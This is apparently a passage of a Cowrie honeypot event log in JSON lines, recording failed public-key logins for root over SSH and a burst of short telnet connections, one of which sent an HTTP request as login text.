hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:22.905708Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:c5:11:f0:73:77:56:ba:45:c1:44:79:93:0c:c7:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApMPAIYSu07zeR08K4hKZitKWwCD5hK83pDhUh0TF3ivKayimxhE7L1f7cQjiMDxcr95zzyzsyj5ZklvEScAt7gLEAltauAI5u5zTMVvETaOYy5IeBbxhI4rSAxFNTWwRX9sSkrM2MEUYshp7KvNeOOeXxugw5GHj8v42fwspQIRJJfE/82mOKPzpSnTm+nqxmCnoZJ4IIcIVX42t1Sh3IU6apAY0j9FgxFyzFxJCyFKF65+LxA7toKp4MewHSPwOHh4WqdeRibkZ45ucxZcXa3oAZeU9fFKg1HlvE5eG65r2GmFSQaQsgCu21/9rOfl0N9kx+g3z597kZ1iDly8K9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 18:c5:11:f0:73:77:56:ba:45:c1:44:79:93:0c:c7:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.183933Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:c5:11:f0:73:77:56:ba:45:c1:44:79:93:0c:c7:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApMPAIYSu07zeR08K4hKZitKWwCD5hK83pDhUh0TF3ivKayimxhE7L1f7cQjiMDxcr95zzyzsyj5ZklvEScAt7gLEAltauAI5u5zTMVvETaOYy5IeBbxhI4rSAxFNTWwRX9sSkrM2MEUYshp7KvNeOOeXxugw5GHj8v42fwspQIRJJfE/82mOKPzpSnTm+nqxmCnoZJ4IIcIVX42t1Sh3IU6apAY0j9FgxFyzFxJCyFKF65+LxA7toKp4MewHSPwOHh4WqdeRibkZ45ucxZcXa3oAZeU9fFKg1HlvE5eG65r2GmFSQaQsgCu21/9rOfl0N9kx+g3z597kZ1iDly8K9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.187552Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:03:65:6c:67:34:34:3b:94:d3:c9:1a:3f:11:b9:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVsJHIWb8XdenWDM7WKlvHWBsNhqo7sNGzcwHCZS/2vug6QTDwP4x34fBKqIpbdy8DrtfdoPa08CW5sihITpkzS+RFZhunJy+jikv84g75dD38xCL/hCqzuS4GIEDRCXdEgmNdjZhH2PfaLKSat8R4AIqkXCIxmVQJL7u+o2NKQKEuSmzrZwSL8sKE69VFF0yKXGBcvK3oXRtYwHMCEhl9vfyP7sGga3u7qFjhzVENILAdUTk9al9F85rOvLJ6M1KspE4Jvjp3WNYxtURfaW5BUpTs9QO5syggDXmdtQY/UK4y+TY0g9o6yiFIs/kfIE8Nj19Mhn4x+O4MBNU/wfSzz9jpHQM8hrt4PDZy9QpU/CrHxvjX/v26BlcuDdjPuDpiR9Rvl29fMZIZ/nQ04X1RLi2uotu5BvoUMjFd6jwridWNPt34cmbixvDcp16ZW7THHdBgTzOd+7ve7KBdxjaCiONpLgohx2k5ehTfXOev2cwSoTT0y87ZCc35YngF1x3q5Sg05DzkI/xmKFJUNIoyr6jh5CLGFe33kM+QOhvNtbwRvf5tSc5YLjMqcT1t3bAulECahNgtg2uPosCgl2uygrlrRSgQB3/2cWcmVKKP4+WcKjzSRU6bNhb4rxNAaHcCXSFGyMaEIH+w4Gj/3vKnL1NBiFb3s2RjBfDyb8YSlw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:03:65:6c:67:34:34:3b:94:d3:c9:1a:3f:11:b9:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.248281Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:03:65:6c:67:34:34:3b:94:d3:c9:1a:3f:11:b9:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVsJHIWb8XdenWDM7WKlvHWBsNhqo7sNGzcwHCZS/2vug6QTDwP4x34fBKqIpbdy8DrtfdoPa08CW5sihITpkzS+RFZhunJy+jikv84g75dD38xCL/hCqzuS4GIEDRCXdEgmNdjZhH2PfaLKSat8R4AIqkXCIxmVQJL7u+o2NKQKEuSmzrZwSL8sKE69VFF0yKXGBcvK3oXRtYwHMCEhl9vfyP7sGga3u7qFjhzVENILAdUTk9al9F85rOvLJ6M1KspE4Jvjp3WNYxtURfaW5BUpTs9QO5syggDXmdtQY/UK4y+TY0g9o6yiFIs/kfIE8Nj19Mhn4x+O4MBNU/wfSzz9jpHQM8hrt4PDZy9QpU/CrHxvjX/v26BlcuDdjPuDpiR9Rvl29fMZIZ/nQ04X1RLi2uotu5BvoUMjFd6jwridWNPt34cmbixvDcp16ZW7THHdBgTzOd+7ve7KBdxjaCiONpLgohx2k5ehTfXOev2cwSoTT0y87ZCc35YngF1x3q5Sg05DzkI/xmKFJUNIoyr6jh5CLGFe33kM+QOhvNtbwRvf5tSc5YLjMqcT1t3bAulECahNgtg2uPosCgl2uygrlrRSgQB3/2cWcmVKKP4+WcKjzSRU6bNhb4rxNAaHcCXSFGyMaEIH+w4Gj/3vKnL1NBiFb3s2RjBfDyb8YSlw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.252934Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:0f:ff:e3:6c:2e:51:31:7b:e1:09:96:b4:3a:34:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCDkZqDtU+gqLWohGsRX+ezXIx5VDT23jGavcI1B1P+z4I3skm9c+ex3xGNP7af2r1F7cKMxc9zmWHS0o9Wrn3nkR/9JARo2Uie7Tns4OFvWvPpOQl0ROYhtZOWo5jqRV6AKx5VU+ej44iWJmyQzqz9/J1zrOBIHDsAR4QgXp4qkebrdUlJO+1JUUABfQg+lQGTofDD5Ei5KKMZNGjRfSGm96YQcvp0o8uVhAAJTyS9aVGsWAfVR6gwHWK6vjuFTBrHmVaqh0XdotCqE2o4hvVN0VTz1FJfaVQKx/yo2COtzQSFffZGGhHtTIJMij81BoSA217vFLKUYnkguEJjUxMOI8lcBbgiyNhKDjNl4Xnt4b9SCGKLQ695tPgbe5375MJNwY1SywIQNW2itBFjKVvuvC33A1b1mUh4lShF72blS3ApJSvuD8t8oN7OcpALhGPzfuuD5PvyRlbn6UaW+WNAGrhEe8IHl78/m9kw9r1dA/Et3Q0pp7XMauBK6o1y+z0I41z+ZLRzm9t+t5yRA5nRsVS1CeBgD7k/3TssELzSUl/r0za4FK9e/ndqFcGYGlix2+C0NJMznkWylN7UNF+O5eMSDtbAKEBy7JVB4A4TDE3PoKzJuSfvWE71kf2jvb/YXdcFCe/X+MXAQWvtDmH3W1s8Rwm/hrXPCitDRfzYcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:0f:ff:e3:6c:2e:51:31:7b:e1:09:96:b4:3a:34:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.314091Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:0f:ff:e3:6c:2e:51:31:7b:e1:09:96:b4:3a:34:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCDkZqDtU+gqLWohGsRX+ezXIx5VDT23jGavcI1B1P+z4I3skm9c+ex3xGNP7af2r1F7cKMxc9zmWHS0o9Wrn3nkR/9JARo2Uie7Tns4OFvWvPpOQl0ROYhtZOWo5jqRV6AKx5VU+ej44iWJmyQzqz9/J1zrOBIHDsAR4QgXp4qkebrdUlJO+1JUUABfQg+lQGTofDD5Ei5KKMZNGjRfSGm96YQcvp0o8uVhAAJTyS9aVGsWAfVR6gwHWK6vjuFTBrHmVaqh0XdotCqE2o4hvVN0VTz1FJfaVQKx/yo2COtzQSFffZGGhHtTIJMij81BoSA217vFLKUYnkguEJjUxMOI8lcBbgiyNhKDjNl4Xnt4b9SCGKLQ695tPgbe5375MJNwY1SywIQNW2itBFjKVvuvC33A1b1mUh4lShF72blS3ApJSvuD8t8oN7OcpALhGPzfuuD5PvyRlbn6UaW+WNAGrhEe8IHl78/m9kw9r1dA/Et3Q0pp7XMauBK6o1y+z0I41z+ZLRzm9t+t5yRA5nRsVS1CeBgD7k/3TssELzSUl/r0za4FK9e/ndqFcGYGlix2+C0NJMznkWylN7UNF+O5eMSDtbAKEBy7JVB4A4TDE3PoKzJuSfvWE71kf2jvb/YXdcFCe/X+MXAQWvtDmH3W1s8Rwm/hrXPCitDRfzYcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.318494Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:87:a9:9f:59:3f:c4:c3:d8:11:e7:b5:db:15:20:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCOBlQW7GHov37eLFe6PdFEsltjKjA13dAnkwKZBQZFnkVVBb0gkqy3CuqDhx5EmYv6q3DnzpFjSxQ/X84XgcSkRy5kCxqMaIj2wUe3Zxlz6O5q26fuzc3P1GS7maN5J+xAqnjcultcMtFBN1GMcteYZ52HejIlOFGDVeT9JVKuMpucppJZTViWPaTTfyHj33d2aX2jogIbq4pA1z4cutXxWXAGgkUhGp7YwlNaUx05WBjQydX4kO95Z69HYlFZ708ozbpBQay7bYZacULADW13sQlxxT77v5iZnxTGXV4i+MLyKxM6rNS7l21woUfpb1yVbHpb4DBmMURz5zjCQYoQSoyF1eQf54tSwA65E5wzG93zP0md9DUwdp3XGjsLr2QQ3YMKAeZCfQsGt2nynIRuOjAAzTu4AalTj2hVwcW4nq9TMKm9v9wemCsWxBbaRSfTY8fr3+iMN3z8oUFgXdlhMVy+DBs3Xx5xlwk/B1zs6rpebi5LX3aJtvLoR79ptwY+wEAqNWuQeJYVaIGlgYr4YQf5Y4y8A/XVlO0Ux1vDbmy3pr8s5IL/uErzIzkwRkGYNqgVG7ZrxwC9EwlEMCgAGLd5vpohu4l0CyQZwpbaq7Vji2cXtCiZSxwUBQCOaacsRoW4Jp3CdVHBAAH+ifSg6XHanJjvrWHtzGPKaCUIpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:87:a9:9f:59:3f:c4:c3:d8:11:e7:b5:db:15:20:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.381831Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:87:a9:9f:59:3f:c4:c3:d8:11:e7:b5:db:15:20:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCOBlQW7GHov37eLFe6PdFEsltjKjA13dAnkwKZBQZFnkVVBb0gkqy3CuqDhx5EmYv6q3DnzpFjSxQ/X84XgcSkRy5kCxqMaIj2wUe3Zxlz6O5q26fuzc3P1GS7maN5J+xAqnjcultcMtFBN1GMcteYZ52HejIlOFGDVeT9JVKuMpucppJZTViWPaTTfyHj33d2aX2jogIbq4pA1z4cutXxWXAGgkUhGp7YwlNaUx05WBjQydX4kO95Z69HYlFZ708ozbpBQay7bYZacULADW13sQlxxT77v5iZnxTGXV4i+MLyKxM6rNS7l21woUfpb1yVbHpb4DBmMURz5zjCQYoQSoyF1eQf54tSwA65E5wzG93zP0md9DUwdp3XGjsLr2QQ3YMKAeZCfQsGt2nynIRuOjAAzTu4AalTj2hVwcW4nq9TMKm9v9wemCsWxBbaRSfTY8fr3+iMN3z8oUFgXdlhMVy+DBs3Xx5xlwk/B1zs6rpebi5LX3aJtvLoR79ptwY+wEAqNWuQeJYVaIGlgYr4YQf5Y4y8A/XVlO0Ux1vDbmy3pr8s5IL/uErzIzkwRkGYNqgVG7ZrxwC9EwlEMCgAGLd5vpohu4l0CyQZwpbaq7Vji2cXtCiZSxwUBQCOaacsRoW4Jp3CdVHBAAH+ifSg6XHanJjvrWHtzGPKaCUIpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.385843Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.433160Z","src_ip":"64.89.163.156","session":"8fb407395f8b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:d8:2a:65:14:1b:20:f8:3a:2d:37:b6:a4:be:dd:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvkPSzMNAAdtVrZlsFUfeytmCIIlsZ9W1NsDCkPTMzS2NU9D+6xSXe+dSLjx97/ToOmQWF1cJR1DaMX6GJp2dzFocqkofLe39Nl188NCUq6moRyi2wCQtw/DyWadHek/aJiZXXdyz2M2DV1vfh4LIoHU4a/uW3kzzri4TuhkY8J3+HDdIvqqPpPuMMEJ4N2clzMJvjOzwJrFOISn0HnCM1F2PHtTXLwrwi749+hfDm8/eItnIfIODfXWzg/tMnD+D9Muk8HOPoC74re90XeGvBIMKsHGQ5KGm4EN1CTeYMcPswFm90sEuTdNQsslweVxwnrvVT0dQ981vXM5C5+f49Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:d8:2a:65:14:1b:20:f8:3a:2d:37:b6:a4:be:dd:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.448118Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:d8:2a:65:14:1b:20:f8:3a:2d:37:b6:a4:be:dd:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvkPSzMNAAdtVrZlsFUfeytmCIIlsZ9W1NsDCkPTMzS2NU9D+6xSXe+dSLjx97/ToOmQWF1cJR1DaMX6GJp2dzFocqkofLe39Nl188NCUq6moRyi2wCQtw/DyWadHek/aJiZXXdyz2M2DV1vfh4LIoHU4a/uW3kzzri4TuhkY8J3+HDdIvqqPpPuMMEJ4N2clzMJvjOzwJrFOISn0HnCM1F2PHtTXLwrwi749+hfDm8/eItnIfIODfXWzg/tMnD+D9Muk8HOPoC74re90XeGvBIMKsHGQ5KGm4EN1CTeYMcPswFm90sEuTdNQsslweVxwnrvVT0dQ981vXM5C5+f49Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.452400Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:23.518103Z","src_ip":"104.243.46.222","session":"cdd940cc0429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59564,"dst_ip":"159.203.135.109","dst_port":23,"session":"77e2e7558ff7","protocol":"telnet","message":"New connection: 35.233.92.202:59564 (159.203.135.109:23) [session: 77e2e7558ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:42.181546Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59574,"dst_ip":"159.203.135.109","dst_port":23,"session":"12c36d7363d0","protocol":"telnet","message":"New connection: 35.233.92.202:59574 (159.203.135.109:23) [session: 12c36d7363d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:42.337892Z"}
{"eventid":"cowrie.session.closed","duration":0.005326509475708008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:42.343076Z","src_ip":"35.233.92.202","session":"12c36d7363d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59590,"dst_ip":"159.203.135.109","dst_port":23,"session":"a61122381a3d","protocol":"telnet","message":"New connection: 35.233.92.202:59590 (159.203.135.109:23) [session: a61122381a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:42.493856Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59238,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2cc2068fd01","protocol":"telnet","message":"New connection: 35.233.92.202:59238 (159.203.135.109:23) [session: c2cc2068fd01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:51.649539Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:51.657409Z","src_ip":"35.233.92.202","session":"c2cc2068fd01","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:51.660876Z","src_ip":"35.233.92.202","session":"c2cc2068fd01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08972954750061035,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:51.739156Z","src_ip":"35.233.92.202","session":"c2cc2068fd01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59254,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f9958db7f9","protocol":"telnet","message":"New connection: 35.233.92.202:59254 (159.203.135.109:23) [session: 73f9958db7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:51.814986Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59264,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b5c04b5bb88","protocol":"telnet","message":"New connection: 35.233.92.202:59264 (159.203.135.109:23) [session: 6b5c04b5bb88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:51.971329Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59272,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f1cdb99b854","protocol":"telnet","message":"New connection: 35.233.92.202:59272 (159.203.135.109:23) [session: 7f1cdb99b854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:52.126473Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59286,"dst_ip":"159.203.135.109","dst_port":23,"session":"590d3d61d9b3","protocol":"telnet","message":"New connection: 35.233.92.202:59286 (159.203.135.109:23) [session: 590d3d61d9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:52.281144Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59298,"dst_ip":"159.203.135.109","dst_port":23,"session":"690b566252b8","protocol":"telnet","message":"New connection: 35.233.92.202:59298 (159.203.135.109:23) [session: 690b566252b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:52.435977Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59312,"dst_ip":"159.203.135.109","dst_port":23,"session":"d63bcf991e12","protocol":"telnet","message":"New connection: 35.233.92.202:59312 (159.203.135.109:23) [session: d63bcf991e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:52.590679Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59326,"dst_ip":"159.203.135.109","dst_port":23,"session":"0076811accbd","protocol":"telnet","message":"New connection: 35.233.92.202:59326 (159.203.135.109:23) [session: 0076811accbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:52.747038Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59328,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab84ad874df8","protocol":"telnet","message":"New connection: 35.233.92.202:59328 (159.203.135.109:23) [session: ab84ad874df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:52.913359Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59344,"dst_ip":"159.203.135.109","dst_port":23,"session":"70b8dd64ab54","protocol":"telnet","message":"New connection: 35.233.92.202:59344 (159.203.135.109:23) [session: 70b8dd64ab54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.070393Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59358,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dbca9e90c3b","protocol":"telnet","message":"New connection: 35.233.92.202:59358 (159.203.135.109:23) [session: 7dbca9e90c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.301933Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59374,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c6b3439118b","protocol":"telnet","message":"New connection: 35.233.92.202:59374 (159.203.135.109:23) [session: 3c6b3439118b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.459508Z"}
{"eventid":"cowrie.session.closed","duration":0.005230903625488281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.464612Z","src_ip":"35.233.92.202","session":"3c6b3439118b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.075672149658203,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.569428Z","src_ip":"35.233.92.202","session":"a61122381a3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.393181324005127,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.574614Z","src_ip":"35.233.92.202","session":"77e2e7558ff7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.5392417907714844,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.609464Z","src_ip":"35.233.92.202","session":"70b8dd64ab54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.31157445907592773,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.613344Z","src_ip":"35.233.92.202","session":"7dbca9e90c3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7080144882202148,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.621228Z","src_ip":"35.233.92.202","session":"ab84ad874df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8774545192718506,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.624345Z","src_ip":"35.233.92.202","session":"0076811accbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.0367279052734375,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.627271Z","src_ip":"35.233.92.202","session":"d63bcf991e12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.1943349838256836,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.630178Z","src_ip":"35.233.92.202","session":"690b566252b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.92.202","src_port":59378,"dst_ip":"159.203.135.109","dst_port":23,"session":"35d0d9af1db7","protocol":"telnet","message":"New connection: 35.233.92.202:59378 (159.203.135.109:23) [session: 35d0d9af1db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.633156Z"}
{"eventid":"cowrie.session.closed","duration":1.3549959659576416,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.635984Z","src_ip":"35.233.92.202","session":"590d3d61d9b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5123913288116455,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:48:53.638731Z","src_ip":"35.233.92.202","session":"7f1cdb99b854","protocol":"telnet"}
